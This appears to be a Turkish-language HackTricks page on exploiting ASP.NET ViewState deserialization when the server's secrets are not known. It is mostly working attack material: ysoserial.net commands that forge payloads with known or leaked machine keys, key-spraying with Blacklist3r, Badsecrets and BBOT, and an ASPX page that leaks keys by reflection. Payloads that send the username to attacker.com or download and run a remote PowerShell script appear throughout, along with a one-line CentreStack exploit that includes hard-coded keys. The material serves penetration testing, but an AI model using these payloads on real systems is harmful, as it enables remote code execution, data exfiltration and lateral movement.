__VIEWSTATE’i sırlarını bilmeden istismar etme

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

ViewState nedir

ViewState, ASP.NET’te sayfa ve kontrol verilerini sayfalar arasında korumak için varsayılan mekanizmadır. Bir sayfanın HTML’si render edilirken, sayfanın mevcut durumu ve postback sırasında korunacak değerler base64 kodlu string’lere serialize edilir. Bu string’ler daha sonra gizli ViewState alanlarına yerleştirilir.

ViewState bilgisi aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:

  • Base64:
  • Bu format, EnableViewStateMac ve ViewStateEncryptionMode özniteliklerinin her ikisi de false olarak ayarlandığında kullanılır.
  • Base64 + MAC (Message Authentication Code) Enabled:
  • MAC’in etkinleştirilmesi EnableViewStateMac özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
  • Base64 + Encrypted:
  • ViewStateEncryptionMode özniteliği true olarak ayarlandığında şifreleme uygulanır ve ViewState verilerinin gizliliği sağlanır.

Test Durumları

Resim, .NET framework sürümüne göre ASP.NET’te ViewState için farklı yapılandırmaları detaylandıran bir tabloyu göstermektedir. İçeriğin özeti şu şekildedir:

  1. Herhangi bir .NET sürümü için, hem MAC hem de Encryption devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla tespit etmek için uygulanabilir bir yöntem yoktur.
  2. 4.5’in altındaki sürümler için, MAC etkin ama Encryption değilse, bir MachineKey gereklidir. MachineKey’i belirleme yöntemi “Blacklist3r” olarak anılır.
  3. 4.5’in altındaki sürümler için, Encryption etkin olduğunda, MAC etkin olup olmamasına bakılmaksızın bir MachineKey gereklidir. MachineKey’in belirlenmesi “Blacklist3r - Future Development” görevidir.
  4. 4.5 ve üzeri sürümler için, MAC ve Encryption’ın tüm kombinasyonları (her ikisi true veya biri true diğeri false olsun) bir MachineKey gerektirir. MachineKey “Blacklist3r” kullanılarak tespit edilebilir.

Test Durumu: 1 – EnableViewStateMac=false ve viewStateEncryptionMode=false

Ayrıca ViewStateMAC’i tamamen devre dışı bırakmak, kayıt defteri anahtarı AspNetEnforceViewStateMac’i şu konumda sıfıra ayarlayarak mümkündür:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState Özelliklerini Tespit Etme

Bu parametreyi içeren bir isteği BurpSuite ile yakalayarak ViewState’in MAC ile korunup korunmadığını tespit etmeye çalışabilirsiniz. Parametreyi korumak için MAC kullanılmıyorsa, onu YSoSerial.Net kullanarak exploit edebilirsiniz.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Test case 1’e benzer, ancak ViewState çerezi sunucu tarafından gönderilmiyor

Geliştiriciler, ViewState’in bir HTTP Request’in parçası olmasını kaldırabilir (kullanıcı bu çerezi almaz).
Birisi, ViewState mevcut değilse, uygulamalarının ViewState deserialization’dan kaynaklanabilecek olası güvenlik açıklarına karşı güvenli olduğunu varsayabilir.
Ancak durum böyle değildir. İstek gövdesine ViewState parametresini ekleyip ysoserial kullanılarak oluşturulmuş serileştirilmiş payload’ımızı gönderirsek, Case 1’de gösterildiği gibi hâlâ kod yürütme elde edebiliriz.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

Belirli bir .aspx sayfası için ViewState MAC’i etkinleştirmek amacıyla aşağıdaki değişiklikleri yapmamız gerekir:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Bunu ayrıca uygulama genelinde, aşağıda gösterildiği gibi web.config dosyasına ayarlayarak yapabiliriz:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Bu sefer parametre MAC korumalı olduğundan, saldırıyı başarıyla gerçekleştirmek için önce kullanılan anahtara ihtiyacımız var.

Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) kullanmayı deneyebilirsiniz.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets bilinen machineKeys’i tespit edebilen başka bir araçtır. Python ile yazıldığından, Blacklist3r’in aksine Windows bağımlılığı yoktur. .NET viewstates için “python blacklist3r” yardımcı programı vardır; bu, kullanmanın en hızlı yoludur.

Viewstate ve generator doğrudan sağlanabilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Veya doğrudan hedef URL’ye bağlanıp HTML’den viewstate’i çıkarmayı deneyebilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Subdomain enumeration ile birlikte, ölçekli olarak savunmasız viewstates’ları aramak için badsecrets BBOT modülü kullanılabilir:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Şanslıysanız ve anahtar bulunursa, saldırıya YSoSerial.Net ile devam edebilirsiniz:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Sunucu _VIEWSTATEGENERATOR parametresi gönderilmiyorsa --generator parametresini sağlamanız gerekmez, ama bunlar:

--apppath="/" --path="/hello.aspx"

Ölçekli olarak yeniden kullanılan <machineKey> değerlerini istismar etme

Ink Dragon (2025), yöneticilerin Microsoft docs, StackOverflow cevapları veya satıcı bloglarında yayımlanan örnek <machineKey> bloklarını kopyalamalarının ne kadar tehlikeli olduğunu gösterdi. Tek bir hedef bu anahtarları farm genelinde leaks veya yeniden kullanırsa, ViewState’e güvenen diğer tüm ASP.NET sayfaları ek bir zafiyet olmasa bile uzaktan ele geçirilebilir.

  1. Aday bir wordlist oluşturun leaked validationKey/decryptionKey çiftleriyle (ör. public repos, Microsoft blog yazıları veya farm içindeki bir host’tan kurtarılan anahtarları kazıyarak) ve bunu Blacklist3r/Badsecrets’e verin:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

Araç, sunucu MAC’i kabul edene kadar her aday anahtarla zararsız bir __VIEWSTATE blob’unu tekrar tekrar imzalar; bu da anahtarın geçerli olduğunu kanıtlar. 2. Anahtar çifti bilindiğinde kötü amaçlı ViewState’i forge edin. Şifreleme devre dışıysa yalnızca validationKey yeterlidir. Şifreleme etkinse, yükün decrypt → deserialize yolunu sağlıklı geçmesi için eşleşen decryptionKey’i ekleyin:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Operatörler genellikle disk-resident launchers’ı (ör. PrintNotifyPotato, ShadowPad loaders, vb.) doğrudan payload içine gömerler çünkü kod IIS worker (w3wp.exe) olarak çalışır. 3. Aynı <machineKey>’i kardeş SharePoint/IIS düğümleri arasında yeniden kullanarak lateral pivot yapın. Bir sunucu ele geçirildiğinde, yapılandırmasını hiç döndürmemiş diğer tüm sunuculara aynı anahtarı tekrar oynatabilirsiniz.

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

Bu durumda parametrenin MAC ile korunup korunmadığı bilinmiyor. O halde değer muhtemelen şifrelenmiştir ve zafiyeti istismar etmek için payload’unuzu şifrelemek üzere Machine Key’e ihtiyacınız olacaktır.

In this case the Blacklist3r module is under development…

Prior to .NET 4.5, ASP.NET, ViewStateEncryptionMode Always olarak ayarlanmış olsa bile kullanıcıdan gelen şifrelenmemiş __VIEWSTATE parametresini kabul edebilir. ASP.NET yalnızca istekte __VIEWSTATEENCRYPTED parametresinin varlığını kontrol eder. Bu parametre kaldırılır ve şifrelenmemiş payload gönderilirse, yine de işlenecektir.

Bu nedenle saldırganlar eğer dosya traversal gibi başka bir vuln ile Machinekey’i elde etmenin bir yolunu bulursa, Case 2’de kullanılan YSoSerial.Net komutu ViewState deserialization zafiyeti kullanılarak RCE gerçekleştirmek için kullanılabilir.

  • İstismarı gerçekleştirmek için istekteki __VIEWSTATEENCRYPTED parametresini kaldırın; aksi halde bir Viewstate MAC doğrulama hatası dönecek ve exploit başarısız olacaktır.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Aşağıdaki parametreyi web.config dosyası içine belirterek ASP.NET framework kullanımını zorlayabiliriz.

<httpRuntime targetFramework="4.5" />

Alternatif olarak, bu, web.config dosyasının machineKey parametresi içine aşağıdaki seçeneği belirterek yapılabilir.

compatibilityMode="Framework45"

Önceki örnekte olduğu gibi value şifrelenmiştir. Bu yüzden geçerli bir payload gönderebilmek için attacker’ın key’e ihtiyacı vardır.

Kullanılan key’i bulmak için Blacklist3r(AspDotNetWrapper.exe) kullanmayı deneyebilirsiniz:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath ve TargetPagePath hakkında daha ayrıntılı açıklama için refer here

Veya Badsecrets (generator değeri ile):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Geçerli bir Machine key tespit edildikten sonra, bir sonraki adım serileştirilmiş bir payload oluşturmak için YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Eğer __VIEWSTATEGENERATOR değerine sahipseniz, --generator parametresini bu değerle kullanmayı ve --path ile --apppath parametrelerini atlamayı deneyebilirsiniz.

A successful exploitation of the ViewState deserialization vulnerability, kullanıcı adını içeren bir out-of-band request’in attacker-controlled server’a gitmesine yol açar. Bu tür bir exploit, “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET” başlıklı bir kaynakta gösterilen bir proof of concept (PoC) ile sergilenmiştir. Exploitation sürecinin nasıl işlediği ve MachineKey’i tespit etmek için Blacklist3r gibi araçların nasıl kullanılacağı hakkında daha fazla detay için sağlanan PoC of Successful Exploitation’i inceleyebilirsiniz.

Test Case 6 – ViewStateUserKeys is being used

ViewStateUserKey özelliği bir CSRF attack’a karşı defend etmek için kullanılabilir. Uygulamada böyle bir anahtar tanımlıysa ve şimdiye kadar tartışılan yöntemlerle ViewState payload’unu oluşturmaya çalışırsak, payload uygulama tarafından işlenmeyecektir.
Payload’u doğru şekilde oluşturmak için bir parametre daha kullanmanız gerekir:

--viewstateuserkey="randomstringdefinedintheserver"

Başarılı Bir Sömürünün Sonucu

Tüm test vakalarında, eğer ViewState YSoSerial.Net payload başarıyla çalışırsa sunucu “500 Internal server error” ile cevap verir, cevap içeriği “The state information is invalid for this page and might be corrupted” olur ve OOB request alırız.

Check for further information here

Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)

Hedef web root içinde upload or execute arbitrary ASPX code yapabilen saldırganlar, __VIEWSTATE’i koruyan gizli anahtarları bruteforcing yapmak yerine doğrudan alabilirler. Anahtarları leaks eden minimal bir payload, internal .NET classes’ı reflection aracılığıyla kullanır:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Sayfayı talep etmek ValidationKey, DecryptionKey, şifreleme algoritmasını ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir __VIEWSTATE gadget’ı oluşturmak için doğrudan ysoserial.net’e verilebilir:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

This key-exfiltration primitive 2025’te on-prem SharePoint sunucularına karşı kitlesel olarak suistimal edildi (“ToolShell” – CVE-2025-53770/53771), ancak saldırganın sunucu tarafı kod çalıştırabildiği herhangi bir ASP.NET uygulamasına uygulanabilir.

2024-2025 Gerçek Dünya Sömürü Senaryoları ve Hard-coded Machine Keys

Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)

Microsoft Threat Intelligence, machineKey’in daha önce public kaynaklarda leaked olduğu ASP.NET sitelerinin kitlesel olarak suistimal edildiğini bildirdi (GitHub gists, blog posts, paste sites). Saldırganlar bu anahtarları listeledi ve WAF uzunluk limitlerini aşmamak için yeni ysoserial.net 1.41 --minify ve --islegacy bayraklarıyla geçerli __VIEWSTATE gadget’ları ürettiler:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Hedeflerin aynı statik anahtarları farm’lar arasında tekrar tekrar kullanmaya devam etmesi durumunda sonsuza dek savunmasız kalırlar; AutoGenerate değerlerine geçildiğinde spray technique etkisiz hale gelir, bu yüzden hâlâ sert kodlanmış anahtarları açığa çıkaran eski dağıtımlara öncelik verin.

CVE-2025-30406 – Gladinet CentreStack / Triofox sert kodlanmış anahtarlar

Kudelski Security, birçok CentreStack / Triofox sürümünün aynı machineKey değerleriyle gönderildiğini ortaya çıkardı; bu, ViewState forgery yoluyla kimlik doğrulaması olmadan uzaktan kod yürütülmesine (CVE-2025-30406) olanak tanıyordu.

Tek satırlık exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 için düzeltildi – anahtarları hemen güncelleyin veya değiştirin.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin